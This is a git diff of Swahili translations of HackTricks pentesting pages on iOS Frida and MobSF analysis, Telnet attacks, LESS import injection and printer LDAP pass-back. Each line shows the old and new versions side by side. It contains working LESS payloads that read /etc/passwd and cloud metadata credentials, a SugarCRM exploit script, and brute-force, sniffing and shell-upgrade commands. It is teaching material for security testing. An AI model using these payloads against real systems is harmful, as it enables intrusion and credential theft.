Recent Frida releases (>=16) automatically handle pointer authentication and other iOS 17 mitigations, so most existing scripts work out-of-the-box. Recent Frida releases (>=16) automatically handle pointer authentication and other iOS 17 mitigations, so most existing scripts work out-of-the-box.
### Uchambuzi wa kiotomatiki wa dynamic na MobSF (bila jailbreak) ### Automated dynamic analysis with MobSF (no jailbreak)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) inaweza kuingiza IPA iliyosainiwa na developer kwenye kifaa halisi kwa kutumia mbinu ile ile (`get_task_allow`) na inatoa UI ya wavuti yenye kivinjari cha mfumo wa faili, kukamata trafiki na console ya Frida【】. Njia ya haraka ni kuendesha MobSF kwenye Docker kisha kuunganisha iPhone yako kupitia USB: [MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) inaweza kuingiza IPA iliyoidhinishwa na mende kwenye kifaa halisi kwa kutumia mbinu ile ile (`get_task_allow`) na inatoa UI ya wavuti yenye kivinjari cha mfumo wa faili, kukamata trafiki na console ya Frida【】. Njia ya haraka zaidi ni kuendesha MobSF kwenye Docker kisha kuunganisha iPhone yako kupitia USB:
```bash ```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \ docker run -p 8000:8000 --privileged \
@ -106,8 +106,8 @@ MobSF itapeleka kiotomatiki binary, iwezeshe seva ya Frida ndani ya sandbox ya p
### iOS 17 & Kikwazo cha Modu ya Kufunga ### iOS 17 & Kikwazo cha Modu ya Kufunga
* **Modu ya Kufunga** (Mipangilio → Faragha & Usalama) inazuia linker ya dynamic kupakia maktaba za dynamic zisizo na saini au zilizotiwa saini na nje. Unapojaribu vifaa ambavyo vinaweza kuwa na modhi hii imewezeshwa hakikisha ime **zimwa** au vikao vyako vya Frida/objection vitakatishwa mara moja. * **Modu ya Kufunga** (Mipangilio → Faragha & Usalama) inazuia linker ya dinamik kutoka kupakia maktaba za dinamik zisizosainiwa au zilizotiwa saini na nje. Unapojaribu vifaa ambavyo vinaweza kuwa na modhi hii imewezeshwa hakikisha ime **zimwa** au vikao vyako vya Frida/objection vitakatishwa mara moja.
* Uthibitishaji wa Kidokezo (PAC) unatekelezwa kwa mfumo mzima kwenye vifaa vya A12+. Frida ≥16 inashughulikia PAC stripping kwa uwazi — hakikisha unashikilia *frida-server* na zana za Python/CLI zikiwa za kisasa kila wakati toleo jipya kuu la iOS linapotolewa. * Uthibitishaji wa Kidokezo (PAC) unatekelezwa kwa mfumo mzima kwenye vifaa vya A12+. Frida ≥16 inashughulikia PAC stripping kwa uwazi — tu hakikisha *frida-server* na zana za Python/CLI ziko katika hali ya kisasa unapozindua toleo jipya kuu la iOS.
## Marejeleo ## Marejeleo

View File

@ -3,27 +3,27 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Basic Information** ## **Taarifa za Msingi**
Telnet ni protokali ya mtandao inayowapa watumiaji njia isiyo salama ya kufikia kompyuta kupitia mtandao. Telnet ni protokali ya mtandao inayowapa watumiaji njia isiyo salama ya kufikia kompyuta kupitia mtandao.
**Default port:** 23 **Bandari ya Kawaida:** 23
``` ```
23/tcp open telnet 23/tcp open telnet
``` ```
## **Uhesabu** ## **Uchambuzi**
### **Kuchukua Bango** ### **Kuchukua Bango**
```bash ```bash
nc -vn <IP> 23 nc -vn <IP> 23
``` ```
Uchunguzi wote wa kuvutia unaweza kufanywa na **nmap**: Uainishaji wote wa kuvutia unaweza kufanywa na **nmap**:
```bash ```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP> nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
``` ```
The script `telnet-ntlm-info.nse` itapata taarifa za NTLM (matoleo ya Windows). The script `telnet-ntlm-info.nse` itapata taarifa za NTLM (matoleo ya Windows).
Kutoka kwenye [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**chaguzi**" mbalimbali ambazo zitaidhinishwa na zinaweza kutumika na muundo wa "**DO, DON'T, WILL, WON'T**" ili kumruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k. Kutoka kwenye [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**chaguzi**" mbalimbali ambazo zitaidhinishwa na zinaweza kutumika pamoja na muundo wa "**FANYA, USIFANYE, ITA, HAIWEZEKANI**" ili kumruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina zaidi (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k.
**Ninajua inawezekana kuhesabu chaguzi hizi lakini sijui jinsi, hivyo nijulishe kama unajua jinsi.** **Ninajua inawezekana kuhesabu chaguzi hizi lakini sijui jinsi, hivyo nijulishe kama unajua jinsi.**
@ -69,15 +69,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
``` ```
### Recent Vulnerabilities (2022-2025) ### Recent Vulnerabilities (2022-2025)
* **CVE-2024-45698 D-Link Wi-Fi 6 routers (DIR-X4860)**: Huduma ya Telnet iliyojengwa ndani ilikubali akreditivu zilizowekwa kwa nguvu na ikashindwa kusafisha ingizo, ikiruhusu RCE isiyoidhinishwa kama root kupitia amri zilizoundwa kwenye bandari 23. Imefanyiwa marekebisho katika firmware ≥ 1.04B05. * **CVE-2024-45698 D-Link Wi-Fi 6 routers (DIR-X4860)**: Huduma ya Telnet iliyojengwa ndani ilikubali akauti za hard-coded na ikashindwa kusafisha ingizo, ikiruhusu RCE isiyoidhinishwa kama root kupitia amri zilizoundwa kwenye bandari 23. Imerekebishwa katika firmware ≥ 1.04B05.
* **CVE-2023-40478 NETGEAR RAX30**: Overflow ya buffer inayotegemea stack katika amri ya Telnet CLI `passwd` inaruhusu mshambuliaji wa karibu kupita uthibitisho na kutekeleza msimbo wa kawaida kama root. * **CVE-2023-40478 NETGEAR RAX30**: Overflow ya buffer inayotegemea stack katika amri ya Telnet CLI `passwd` inaruhusu mshambuliaji wa karibu kupita uthibitisho na kutekeleza msimbo wa kawaida kama root.
* **CVE-2022-39028 GNU inetutils telnetd**: Mfuatano wa byte mbili (`0xff 0xf7` / `0xff 0xf8`) unachochea dereference ya pointer ya NULL ambayo inaweza kusababisha `telnetd` kuanguka, na kusababisha DoS ya kudumu baada ya kuanguka kadhaa. * **CVE-2022-39028 GNU inetutils telnetd**: Mfuatano wa byte mbili (`0xff 0xf7` / `0xff 0xf8`) unachochea dereference ya NULL-pointer ambayo inaweza kusababisha `telnetd` kuanguka, na kusababisha DoS ya kudumu baada ya kuanguka kadhaa.
Keep these CVEs in mind during vulnerability triage—if the target is running an un-patched firmware or legacy inetutils Telnet daemon you may have a straight-forward path to code-execution or a disruptive DoS. Hifadhi hizi CVE akilini wakati wa uchambuzi wa udhaifu—ikiwa lengo linaendesha firmware isiyo na patch au daemon ya Telnet ya zamani ya inetutils unaweza kuwa na njia rahisi ya kutekeleza msimbo au DoS inayosababisha usumbufu.
### Sniffing Credentials & Man-in-the-Middle ### Sniffing Credentials & Man-in-the-Middle
Telnet transmits everything, including credentials, in **clear-text**. Njia mbili za haraka za kuziteka: Telnet inapeleka kila kitu, ikiwa ni pamoja na akauti, katika **clear-text**. Njia mbili za haraka za kuziteka:
```bash ```bash
# Live capture with tcpdump (print ASCII) # Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)' sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
@ -85,7 +85,7 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" "
# Wireshark display filter # Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option) tcp.port == 23 && (telnet.data || telnet.option)
``` ```
Kwa MITM hai, changanya ARP spoofing (mfano `arpspoof`/`ettercap`) na vichujio vya kunusa sawa ili kukusanya nywila kwenye mitandao iliyowekwa. Kwa MITM hai, changanya ARP spoofing (mfano `arpspoof`/`ettercap`) na vichujio vya kunusa sawa ili kukusanya nywila kwenye mitandao iliyopangwa.
### Automated Brute-force / Password Spraying ### Automated Brute-force / Password Spraying
```bash ```bash
@ -100,7 +100,7 @@ medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
``` ```
Most IoT botnets (Mirai variants) bado zinachunguza port 23 kwa kamusi ndogo za akidi za default—kuakisi mantiki hiyo kunaweza kutambua haraka vifaa dhaifu. Most IoT botnets (Mirai variants) bado zinachunguza port 23 kwa kamusi ndogo za akidi za default—kuakisi mantiki hiyo kunaweza kutambua haraka vifaa dhaifu.
### Exploitation & Post-Exploitation ### Ukatili & Baada ya Ukatili
Metasploit ina moduli kadhaa za manufaa: Metasploit ina moduli kadhaa za manufaa:
@ -109,16 +109,16 @@ Metasploit ina moduli kadhaa za manufaa:
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` RCE dhidi ya Solaris 9/10 Telnet iliyo hatarini (usimamizi wa chaguo ENCRYPT). * `auxiliary/scanner/telnet/telnet_encrypt_overflow` RCE dhidi ya Solaris 9/10 Telnet iliyo hatarini (usimamizi wa chaguo ENCRYPT).
* `exploit/linux/mips/netgear_telnetenable` inaruhusu huduma ya telnet kwa pakiti iliyoundwa kwenye router nyingi za NETGEAR. * `exploit/linux/mips/netgear_telnetenable` inaruhusu huduma ya telnet kwa pakiti iliyoundwa kwenye router nyingi za NETGEAR.
Baada ya kupata shell kumbuka kwamba **TTYs kwa kawaida ni za kijinga**; sasisha kwa `python -c 'import pty;pty.spawn("/bin/bash")'` au tumia [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md). Baada ya kupata shell kumbuka kwamba **TTYs mara nyingi ni za kijinga**; boresha kwa `python -c 'import pty;pty.spawn("/bin/bash")'` au tumia [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md).
### Hardening & Detection (Blue team corner) ### Kuimarisha & Ugunduzi (Kona ya timu ya Blue)
1. Prefer SSH na uondoe huduma ya Telnet kabisa. 1. Prefer SSH na uondoe huduma ya Telnet kabisa.
2. Ikiwa Telnet inahitajika, iunganishe tu na VLANs za usimamizi, enforce ACLs na ufunge daemon na TCP wrappers (`/etc/hosts.allow`). 2. Ikiwa Telnet inahitajika, iunganishe tu na VLAN za usimamizi, enforce ACLs na ufunge daemon na TCP wrappers (`/etc/hosts.allow`).
3. Badilisha utekelezaji wa zamani wa `telnetd` na `ssl-telnet` au `telnetd-ssl` kuongeza usimbaji wa usafirishaji, lakini **hii inalinda tu data-in-transit—kukisia nywila bado ni rahisi**. 3. Badilisha utekelezaji wa zamani wa `telnetd` na `ssl-telnet` au `telnetd-ssl` kuongeza usimbuaji wa usafirishaji, lakini **hii inalinda tu data-in-transit—kukisia nywila bado kuna urahisi**.
4. Fuata trafiki ya nje kuelekea port 23; makosa mara nyingi huzaa shells za kurudi kupitia Telnet ili kupita vichujio vya egress vya HTTP kali. 4. Fuata trafiki ya nje kuelekea port 23; makosa mara nyingi huzaa shells za kurudi kupitia Telnet ili kupita vichujio vya egress vya HTTP kali.
## References ## Marejeleo
* D-Link Advisory CVE-2024-45698 Critical Telnet RCE. * D-Link Advisory CVE-2024-45698 Critical Telnet RCE.
* NVD CVE-2022-39028 inetutils `telnetd` DoS. * NVD CVE-2022-39028 inetutils `telnetd` DoS.

View File

@ -6,21 +6,21 @@
LESS ni pre-processor maarufu wa CSS inayoongeza mabadiliko, mixins, kazi na amri yenye nguvu `@import`. Wakati wa uundaji injini ya LESS itafanya **kupata rasilimali zilizotajwa katika amri za `@import`** na kuingiza ("inline") maudhui yao katika CSS inayotokana wakati chaguo la `(inline)` linapotumika. LESS ni pre-processor maarufu wa CSS inayoongeza mabadiliko, mixins, kazi na amri yenye nguvu `@import`. Wakati wa uundaji injini ya LESS itafanya **kupata rasilimali zilizotajwa katika amri za `@import`** na kuingiza ("inline") maudhui yao katika CSS inayotokana wakati chaguo la `(inline)` linapotumika.
Wakati programu inachanganya **ingizo linalodhibitiwa na mtumiaji** katika mfuatano ambao baadaye unachambuliwa na mkusanyiko wa LESS, mshambuliaji anaweza **kuiingiza msimbo wa LESS wa kiholela**. Kwa kutumia `@import (inline)` mshambuliaji anaweza kulazimisha seva kupata: Wakati programu inachanganya **ingizo linalodhibitiwa na mtumiaji** katika mfuatano ambao baadaye unachambuliwa na mkusanyiko wa LESS, mshambuliaji anaweza **kuingiza msimbo wa LESS wa kiholela**. Kwa kutumia `@import (inline)` mshambuliaji anaweza kulazimisha seva kupata:
* Faili za ndani kupitia itifaki ya `file://` (ufichuzi wa taarifa / Ujumuishaji wa Faili za Ndani). * Faili za ndani kupitia itifaki ya `file://` (ufichuzi wa taarifa / Ujumuishaji wa Faili za Ndani).
* Rasilimali za mbali kwenye mitandao ya ndani au huduma za metadata za wingu (SSRF). * Rasilimali za mbali kwenye mitandao ya ndani au huduma za metadata za wingu (SSRF).
Teknik hii imeonekana katika bidhaa halisi kama **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint). Teknolojia hii imeonekana katika bidhaa halisi kama **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
## Exploitation ## Exploitation
1. Tambua parameter ambayo imeingizwa moja kwa moja ndani ya mfuatano wa mtindo unaoshughulikiwa na injini ya LESS (mfano `?lm=` katika SugarCRM). 1. Tambua parameter ambayo imeingizwa moja kwa moja ndani ya mfuatano wa mtindo unaoshughulikiwa na injini ya LESS (mfano `?lm=` katika SugarCRM).
2. Funga taarifa ya sasa na uingize amri mpya. Msingi wa kawaida ni: 2. Funga taarifa ya sasa na ingiza amri mpya. Msingi wa kawaida ni:
* `;` inamaliza tamko la awali. * `;` inamaliza tamko la awali.
* `}` inafunga block ya awali (ikiwa inahitajika). * `}` inafunga block ya awali (ikiwa inahitajika).
3. Tumia `@import (inline) '<URL>';` kusoma rasilimali za kiholela. 3. Tumia `@import (inline) '<URL>';` kusoma rasilimali za kiholela.
4. Kwa hiari, ingiza **alama** (`data:` URI) baada ya kuagiza ili kurahisisha uchimbaji wa maudhui yaliyopatikana kutoka kwa CSS iliyokusanywa. 4. Kwa hiari ingiza **alama** (`data:` URI) baada ya kuagiza ili kurahisisha uchimbaji wa maudhui yaliyopatikana kutoka kwa CSS iliyokusanywa.
### Local File Read ### Local File Read
``` ```
@ -34,7 +34,7 @@ Maudhui ya `/etc/passwd` yataonekana katika jibu la HTTP kabla ya alama ya `@@EN
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; 1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; // @import (inline) 'data:text/plain,@@END@@'; //
``` ```
### PoC ya Kiotomatiki (mfano wa SugarCRM) ### PoC ya Otomatiki (mfano wa SugarCRM)
```bash ```bash
#!/usr/bin/env bash #!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd # Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
@ -49,15 +49,15 @@ sed -n 's/.*@@END@@\(.*\)/\1/p'
``` ```
## Detection ## Detection
* Angalia majibu ya `.less` au `.css` yanayozalishwa kwa dinamik ambayo yana vigezo vya swali visivyosafishwa. * Angalia majibu ya `.less` au `.css` yanayozalishwa kwa dinamikali yanayojumuisha vigezo vya uchunguzi visivyo safishwa.
* Wakati wa ukaguzi wa msimbo, tafuta ujenzi kama `"@media all { .preview { ... ${userInput} ... } }"` unaopitishwa kwa kazi za kuunda LESS. * Wakati wa ukaguzi wa msimbo, tafuta ujenzi kama `"@media all { .preview { ... ${userInput} ... } }"` uliopitishwa kwa kazi za LESS render.
* Jaribio la kutumia mara nyingi linajumuisha `@import`, `(inline)`, `file://`, `http://169.254.169.254`, n.k. * Jaribio la kutumia mara nyingi linajumuisha `@import`, `(inline)`, `file://`, `http://169.254.169.254`, n.k.
## Mitigations ## Mitigations
* Usipitishwe data zisizoaminika kwa mhariri wa LESS. * Usipitishwe data isiyoaminika kwa LESS compiler.
* Ikiwa thamani za dinamik zinahitajika, safisha/safisha vizuri (kwa mfano, punguza kwa alama za nambari, orodha za ruhusa). * Ikiwa thamani za dinamikali zinahitajika, safisha/vitakasa vizuri (mfano, punguza kwa alama za nambari, orodha za kibali).
* Zima, inapowezekana, uwezo wa kutumia uagizaji wa `(inline)`, au punguza protokali zinazoruhusiwa kuwa `https`. * Zima, inapowezekana, uwezo wa kutumia `(inline)` imports, au punguza protokali zinazoruhusiwa kuwa `https`.
* Hifadhi utegemezi kuwa wa kisasa SugarCRM ilirekebisha tatizo hili katika toleo 13.0.4 na 14.0.1. * Hifadhi utegemezi kuwa wa kisasa SugarCRM ilirekebisha tatizo hili katika toleo 13.0.4 na 14.0.1.
## Real-World Cases ## Real-World Cases

View File

@ -1,4 +1,4 @@
# Mifumo Iliyoathirika ya SSRF # Mifumo Ilioathirika ya SSRF
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -7,7 +7,7 @@ Hii ni kwa sababu mshambuliaji anaweza **kudanganya printa kujiunga na seva ya L
Pia, printa kadhaa zitakuwa na **kumbukumbu za majina ya watumiaji** au zinaweza hata kuwa na uwezo wa **kupakua majina yote ya watumiaji** kutoka kwa Kituo cha Kikoa. Pia, printa kadhaa zitakuwa na **kumbukumbu za majina ya watumiaji** au zinaweza hata kuwa na uwezo wa **kupakua majina yote ya watumiaji** kutoka kwa Kituo cha Kikoa.
Habari hii **nyeti** na **ukosefu wa usalama** wa kawaida hufanya printa kuwa za kuvutia sana kwa washambuliaji. Habari hii **nyeti** na **ukosefu wa usalama** wa kawaida inafanya printa kuwa za kuvutia sana kwa washambuliaji.
Baadhi ya blogu za utangulizi kuhusu mada hii: Baadhi ya blogu za utangulizi kuhusu mada hii:
@ -28,7 +28,7 @@ Baadhi ya blogu za utangulizi kuhusu mada hii:
```bash ```bash
sudo nc -k -v -l -p 389 # LDAPS → 636 (or 3269) sudo nc -k -v -l -p 389 # LDAPS → 636 (or 3269)
``` ```
Small/old MFPs zinaweza kutuma *simple-bind* rahisi katika maandiko wazi ambayo netcat inaweza kukamata. Vifaa vya kisasa kwa kawaida hufanya uchunguzi wa kutokujulikana kwanza na kisha kujaribu kuunganisha, hivyo matokeo yanatofautiana. Small/old MFPs zinaweza kutuma *simple-bind* rahisi katika maandiko wazi ambayo netcat inaweza kukamata. Vifaa vya kisasa kawaida hufanya uchunguzi wa kutokujulikana kwanza na kisha kujaribu kuunganisha, hivyo matokeo yanatofautiana.
### Method 2 Full Rogue LDAP server (recommended) ### Method 2 Full Rogue LDAP server (recommended)
@ -52,10 +52,10 @@ Pass-back *sio* suala la nadharia wauzaji wanaendelea kuchapisha taarifa kat
### Xerox VersaLink CVE-2024-12510 & CVE-2024-12511 ### Xerox VersaLink CVE-2024-12510 & CVE-2024-12511
Firmware ≤ 57.69.91 ya Xerox VersaLink C70xx MFPs iliruhusu admin aliyeidhinishwa (au mtu yeyote wakati akiba za kawaida zipo) kufanya: Firmware ≤ 57.69.91 ya Xerox VersaLink C70xx MFPs iliruhusu admin aliyeidhinishwa (au mtu yeyote wakati akiba za kawaida zinabaki) kufanya:
* **CVE-2024-12510 LDAP pass-back**: kubadilisha anwani ya seva ya LDAP na kuanzisha utafutaji, na kusababisha kifaa kuvuja akiba ya Windows iliyowekwa kwa mwenye shambulio. * **CVE-2024-12510 LDAP pass-back**: kubadilisha anwani ya seva ya LDAP na kuanzisha utafutaji, ikisababisha kifaa kuvuja taarifa za kuingia za Windows zilizowekwa kwa mwenye shambulio.
* **CVE-2024-12511 SMB/FTP pass-back**: suala sawa kupitia *scan-to-folder* maeneo, kuvuja NetNTLMv2 au FTP akiba za wazi. * **CVE-2024-12511 SMB/FTP pass-back**: suala sawa kupitia *scan-to-folder* maeneo, ikivuja NetNTLMv2 au FTP akiba ya wazi ya taarifa za kuingia.
Msikilizaji rahisi kama: Msikilizaji rahisi kama:
```bash ```bash